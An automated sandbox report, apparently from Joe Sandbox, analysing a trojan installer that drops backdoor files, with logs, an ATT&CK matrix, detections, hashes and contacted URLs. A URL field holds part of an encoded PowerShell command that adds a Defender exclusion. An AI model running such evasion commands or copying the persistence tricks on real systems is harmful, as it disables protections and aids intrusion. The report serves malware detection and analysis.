Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Queries volume information: C:\Users\user\AppData\Roaming\Chrome\chrome.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Queries volume information: C:\Users\user\AppData\Roaming\Chrome\chrome.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\System32\nslookup.exe

Code function: 22_2_000000014000C920 cpuid

22_2_000000014000C920

Source: C:\Users\user\AppData\Roaming\34432.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\nslookup.exe

Code function: 22_2_00000001400029E8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

22_2_00000001400029E8

Source: C:\Windows\System32\dllhost.exe

39_2_0000000140001F00

Source: C:\Users\user\Desktop\Install.exe

1_2_0040352D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	111 Windows Management Instrumentation	11 Scheduled Task/Job	1 Access Token Manipulation	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	512 Process Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	11 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	26 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	11 Scheduled Task/Job	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	23 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Rootkit	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Masquerading	DCSync	131 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	131 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	1 System Network Configuration Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	512 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Hidden Files and Directories	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Install.exe	41%	Virustotal		Browse
Install.exe	73%	ReversingLabs	Win32.Trojan.Zenpak

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\34432.exe	100%	Avira	HEUR/AGEN.1221921
C:\Users\user\AppData\Roaming\Chrome\chrome.exe	100%	Avira	HEUR/AGEN.1221921
C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\34432.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Chrome\chrome.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\34432.exe	35%	Virustotal		Browse
C:\Users\user\AppData\Roaming\34432.exe	77%	ReversingLabs	ByteCode-MSIL.Backdoor.Bladabhindi
C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	50%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Chrome\chrome.exe	77%	ReversingLabs	ByteCode-MSIL.Backdoor.Bladabhindi

Unpacked PE Files

Source	Detection	Scanner	Label	Download
22.0.nslookup.exe.140000000.2.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.10.unpack	100%	Avira	RKIT/Agent.avskt	Download File
22.0.nslookup.exe.140000000.0.unpack	100%	Avira	TR/Injector.vwktt	Download File
22.0.nslookup.exe.140000000.8.unpack	100%	Avira	TR/Injector.vwktt	Download File
2.3.ChiefKeefofficialnaxyi_crypted(6).exe.2670000.0.unpack	100%	Avira	HEUR/AGEN.1203048	Download File
39.0.dllhost.exe.140000000.3.unpack	100%	Avira	RKIT/Agent.avskt	Download File
33.2.chrome.exe.fa0000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
22.0.nslookup.exe.140000000.1.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.4.unpack	100%	Avira	RKIT/Agent.avskt	Download File
30.2.chrome.exe.20000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
30.0.chrome.exe.20000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
22.0.nslookup.exe.140000000.5.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.1.unpack	100%	Avira	RKIT/Agent.avskt	Download File
39.0.dllhost.exe.140000000.8.unpack	100%	Avira	RKIT/Agent.avskt	Download File
4.0.34432.exe.770000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
22.2.nslookup.exe.140000000.0.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.5.unpack	100%	Avira	RKIT/Agent.avskt	Download File
33.0.chrome.exe.fa0000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
5.2.AppLaunch.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1203048	Download File
4.2.34432.exe.770000.0.unpack	100%	Avira	HEUR/AGEN.1221921	Download File
39.2.dllhost.exe.140000000.0.unpack	100%	Avira	RKIT/Agent.avskt	Download File
39.0.dllhost.exe.140000000.12.unpack	100%	Avira	RKIT/Agent.avskt	Download File
22.0.nslookup.exe.140000000.6.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.0.unpack	100%	Avira	RKIT/Agent.avskt	Download File
22.0.nslookup.exe.140000000.10.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.6.unpack	100%	Avira	RKIT/Agent.avskt	Download File
22.0.nslookup.exe.140000000.12.unpack	100%	Avira	TR/Injector.vwktt	Download File
22.0.nslookup.exe.140000000.3.unpack	100%	Avira	TR/Injector.vwktt	Download File
22.0.nslookup.exe.140000000.4.unpack	100%	Avira	TR/Injector.vwktt	Download File
39.0.dllhost.exe.140000000.2.unpack	100%	Avira	RKIT/Agent.avskt	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://ip-api.com4Uk	0%	Avira URL Cloud	safe
http://crl.mpowershell-EncodedCommandQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHM	0%	Avira URL Cloud	safe
http://crl.mp	0%	Virustotal		Browse
http://crl.mp	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ip-api.com4Uk	AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.301149982.000001FF61EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mpowershell-EncodedCommandQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHM	powershell.exe, 00000026.00000003.472356728.00000283B87D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mp	powershell.exe, 00000026.00000003.472356728.00000283B87D2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.298759051.000001FF53502000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.299698983.000001FF5367C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.300217713.000001FF53864000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.493191066.00000283A1A2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000003.422394060.00000283A2335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000003.423315665.00000283A242E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.291719056.000001FF52214000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.485582465.00000283A0A44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.301149982.000001FF61EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	AppLaunch.exe, 00000005.00000002.512763531.0000000006D47000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000026.00000002.497193020.00000283B0710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.codeplex.com/DotNetZip	AppLaunch.exe, 00000005.00000002.505647974.0000000000402000.00000020.00000400.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Install.exe, 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Install.exe, 00000001.00000000.217633196.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	34432.exe, 00000004.00000002.356979000.00000000039F5000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.512163132.0000000006CE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.288800846.000001FF51E81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.430121118.000002C880001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.477975029.00000283A06B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000019.00000002.435620250.000002C8806DF000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	597646
Start date and time:	2022-03-27 00:39:51 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Install.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	5
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@44/26@1/1
EGA Information:	Successful, ratio: 57.1%
HDC Information:	Successful, ratio: 51.9% (good quality ratio 43.1%) Quality average: 58.5% Quality standard deviation: 36.7%
HCA Information:	Successful, ratio: 71% Number of executed functions: 265 Number of non-executed functions: 190
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.242.101.226, 40.125.122.176, 20.54.110.249, 52.152.110.14
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target 34432.exe, PID 6836 because it is empty
Execution Graph export aborted for target chrome.exe, PID 5460 because it is empty
Execution Graph export aborted for target chrome.exe, PID 6564 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6940 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7048 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:41:04	API Interceptor	123x Sleep call for process: powershell.exe modified
01:41:33	API Interceptor	2x Sleep call for process: 34432.exe modified
01:41:47	Task Scheduler	Run new task: chrome path: C:\Users\user\AppData\Roaming\Chrome\chrome.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\34432.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\34432.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	973
Entropy (8bit):	5.374440234733254
Encrypted:	false
SSDEEP:	12:Q3La/hVAWDLI4MWuCqDLI4MWuPTxAI51KDLI4MN5P6D1BakvoDLI4MWuPak2kL0Q:MLqE4K5E4KrL1qE4GiD0E4KeGasXE4+Y
MD5:	06639220FD6B2DCCDA25EAE889B6BCC8
SHA1:	3EDFCBE94838702A978D3D518B2358560A296FD0
SHA-256:	32F1B0CAE8509079F3F044C5655800CD760DB66E792B451DF2C919B6129DCB83
SHA-512:	61EBE07C66BA18BE8838223D7946EA14DAF46CE3CEB1F27A59958857B22F00E2EF872A56D7D05C58747D57558BD07D4B097B604CA34D280B6761F3024A20A53F
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.004929862695359
Encrypted:	false
SSDEEP:	384:Kwib4LEVoGIpN6KQkj2jkjh4iUxLzp0ifOdBVNXp5xvOjJpYoY4Qib4w:KEEV3IpNBQkj22h4iUxLzp0ifOdBVNZY
MD5:	DA4B150893016C59B1E5DE988406A425
SHA1:	9CAF9C1A8F844A0FA8D88DC30F29BE7B023E7079
SHA-256:	5107772D1007FD535B026DF52ADF8864E7C2D4C1ACAB3CD03A5C112517A426DF
SHA-512:	533A894A8EBB39BF2D785C8E715615A994DF6D797650FCD1D7A3949C90F2682B24BFA596BD2CED15B7BA8817483E68D96D968AC64D784176D53584A116ECEDE0
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.............S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........Y.....C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.362943121948868
Encrypted:	false
